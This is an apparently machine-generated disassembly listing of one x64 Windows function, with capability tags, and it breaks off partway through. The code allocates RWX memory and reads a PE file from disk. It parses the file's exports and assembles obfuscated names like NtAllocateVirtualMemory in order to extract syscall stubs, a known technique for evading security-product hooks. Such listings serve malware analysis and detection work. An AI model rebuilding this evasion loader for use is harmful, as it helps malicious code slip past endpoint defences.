Function at 0x3a8d53f83
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x35a0
call fcn.3a8d65780
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.3a8d64ad0
call fcn.3a8d51537
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x3508], eax
mov eax, dword [rbp + 0x3508]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x3500], rax
mov rax, qword [rbp + 0x3500]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x34f8], rax
mov rax, qword [rbp + 0x34f8]
add rax, 0x17
mov qword [rbp + 0x34f0], rax
mov rax, qword [rbp + 0x34f0]
add rax, 0x17
mov qword [rbp + 0x34e8], rax
mov rax, qword [rbp + 0x34e8]
add rax, 0x17
mov qword [rbp + 0x34e0], rax
mov rax, qword [rbp + 0x34e0]
add rax, 0x17
mov qword [rbp + 0x34d8], rax
mov rax, qword [rbp + 0x34d8]
add rax, 0x17
mov qword [rbp + 0x34d0], rax
mov rax, qword [rbp + 0x34d0]
add rax, 0x17
mov qword [rbp + 0x34c8], rax
mov rax, qword [rbp + 0x34c8]
add rax, 0x17
mov qword [rbp + 0x34c0], rax
mov rax, qword [rbp + 0x34c0]
add rax, 0x17
mov qword [rbp + 0x34b8], rax
mov rax, qword [rbp + 0x34b8]
add rax, 0x17
mov qword [rbp + 0x34b0], rax
mov rax, qword [rbp + 0x34b0]
add rax, 0x17
mov qword [rbp + 0x34a8], rax
mov rax, qword [rbp + 0x34a8]
add rax, 0x17
mov qword [rbp + 0x34a0], rax
mov rax, qword [rbp + 0x34a0]
add rax, 0x17
mov qword [rbp + 0x3498], rax
mov rax, qword [rbp + 0x3498]
add rax, 0x17
mov qword [rbp + 0x3490], rax
mov rax, qword [rbp + 0x3490]
add rax, 0x17
mov qword [rbp + 0x3488], rax
mov rax, qword [rbp + 0x3488]
add rax, 0x17
mov qword [rbp + 0x3480], rax
mov rax, qword [rbp + 0x3480]
add rax, 0x17
mov qword [rbp + 0x3478], rax
mov rax, qword [rbp + 0x3478]
add rax, 0x17
mov qword [rbp + 0x3470], rax
mov dword [rbp + 0x38c], 0
mov qword [rbp + 0x3468], 0
mov dword [rbp + 0x3464], 0
mov dword [rbp + 0x388], 0
mov qword [rbp + 0x3458], 0
mov rax, qword [rbp + 0x34f8]
mov qword [0x3a8f15028], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34f0]
mov qword [0x3a8f15030], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34e8]
mov qword [0x3a8f15038], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34e0]
mov qword [0x3a8f15040], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34d8]
mov qword [0x3a8f15048], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34d8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34d0]
mov qword [0x3a8f15050], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34d0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34c8]
mov qword [0x3a8f15058], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34c8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34c0]
mov qword [0x3a8f15060], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34c0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34b8]
mov qword [0x3a8f15068], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34b8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34b0]
mov qword [0x3a8f15070], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34b0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34a8]
mov qword [0x3a8f15078], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34a8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x34a0]
mov qword [0x3a8f15080], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x34a0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3498]
mov qword [0x3a8f15088], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3498]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3490]
mov qword [0x3a8f15090], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3490]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3488]
mov qword [0x3a8f15098], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3488]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3480]
mov qword [0x3a8f150a0], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3480]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3478]
mov qword [0x3a8f150a8], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3478]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x3470]
mov qword [0x3a8f150b0], rax
lea rdx, [rbp + 0x38c]
mov rax, qword [rbp + 0x3470]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x3a8ee9011]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x3468], rax
mov rax, qword [rbp + 0x3468]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x3464], eax
mov esi, dword [rbp + 0x3464]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x3458], rax
lea r8, [rbp + 0x388]
mov ecx, dword [rbp + 0x3464]
mov rdx, qword [rbp + 0x3458]
mov rax, qword [rbp + 0x3468]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x3458]
mov qword [rbp + 0x3450], rax
mov rax, qword [rbp + 0x3450]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x3458]
add rax, rdx
mov qword [rbp + 0x3448], rax
mov rax, qword [rbp + 0x3448]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x3444], eax
mov rax, qword [rbp + 0x3448]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x3448]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x3518], rax
mov rax, qword [rbp + 0x3518]
mov qword [rbp + 0x3438], rax
mov rax, qword [rbp + 0x3518]
mov qword [rbp + 0x3510], rax
mov dword [rbp + 0x350c], 0
jmp 0x3a8d546c1
mov rax, qword [rbp + 0x3518]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x3a8d546b2
mov rax, qword [rbp + 0x3518]
mov qword [rbp + 0x3510], rax
jmp 0x3a8d546d7
add qword [rbp + 0x3518], 0x28
add dword [rbp + 0x350c], 1
mov rax, qword [rbp + 0x3448]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x350c], eax
jl 0x3a8d54688
mov edx, dword [rbp + 0x3444]
mov rax, qword [rbp + 0x3458]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x3510]
mov rdx, rax
call fcn.3a8d513d0
mov qword [rbp + 0x3430], rax
lea rax, [rbp + 0x65f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x65f]
lea rax, [rbp + 0x630]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x610]
lea rdx, [rbp + 0x630]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x5f0]
lea rdx, [rbp + 0x610]
lea r8, [0x3a8ee903a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x3a8ee9046]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x3a8ee904e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x360]
lea rdx, [rbp + 0x390]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x630]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x65f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x660]
mov rcx, qword [rbp + 0x34f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d54b7d
lea rsi, [0x3a8ee9054]
jmp 0x3a8d54b84
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0x90f]
lea rax, [rbp + 0x8e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x3a8ee9046]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x3a8ee904e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x680]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0x910]
mov rcx, qword [rbp + 0x34f0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d54fc8
lea rsi, [0x3a8ee9054]
jmp 0x3a8d54fcf
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0xbff]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0xbff]
lea rax, [rbp + 0xbd0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0xbb0]
lea rdx, [rbp + 0xbd0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xb90]
lea rdx, [rbp + 0xbb0]
lea r8, [0x3a8ee9074]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xb70]
lea rdx, [rbp + 0xb90]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xb50]
lea rdx, [rbp + 0xb70]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xb30]
lea rdx, [rbp + 0xb50]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xb10]
lea rdx, [rbp + 0xb30]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x3a8ee9040]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x3a8ee9046]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x3a8ee9048]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x3a8ee904c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x3a8ee9042]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x3a8ee903c]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x3a8ee904e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x9b0]
lea rdx, [rbp + 0x9d0]
lea r8, [0x3a8ee9044]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x990]
lea rdx, [rbp + 0x9b0]
lea r8, [0x3a8ee9050]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x3a8ee903e]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x3a8ee9052]
mov rcx, rax
call fcn.3a8e0b7f0
lea rdx, [rbp + 0x930]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8dfb3d0
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xb50]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xb70]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xb90]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xbb0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xbd0]
mov rcx, rax
call fcn.3a8dfb390
lea rax, [rbp + 0xbff]
mov rcx, rax
call fcn.3a8dc3340
lea rdx, [rbp + 0x360]
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.3a8dfa7e0
mov r9, qword [rbp + 0x3438]
mov r8, qword [rbp + 0x3458]
mov rdx, qword [rbp + 0x3430]
lea rax, [rbp + 0xc00]
mov rcx, qword [rbp + 0x34e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x3510]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.3a8d513fd
mov dword [rbp + 0x342c], eax
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.3a8dfb390
cmp dword [rbp + 0x342c], 0
je 0x3a8d5546b
lea rsi, [0x3a8ee9054]
jmp 0x3a8d55472
lea rsi, [0x3a8ee9059]
lea rax, [rbp + 0x360]
mov rcx, rax
call fcn.3a8d80b10
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.3a8d51370
lea rax, [rbp + 0xe2f]
mov rcx, rax
call fcn.3a8dc3310
lea rdx, [rbp + 0xe2f]
lea rax, [rbp + 0xe00]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.3a8dfac70
lea rax, [rbp + 0xde0]
lea rdx, [rbp + 0xe00]
lea r8, [0x3a8ee9038]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xdc0]
lea rdx, [rbp + 0xde0]
lea r8, [0x3a8ee9076]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xda0]
lea rdx, [rbp + 0xdc0]
lea r8, [0x3a8ee904a]
mov rcx, rax
call fcn.3a8e0b7f0
lea rax, [rbp + 0xd80]
lea rdx, [rbp + 0xda0]
lea r8, [0x3a8ee9044]
mov rcx, rax
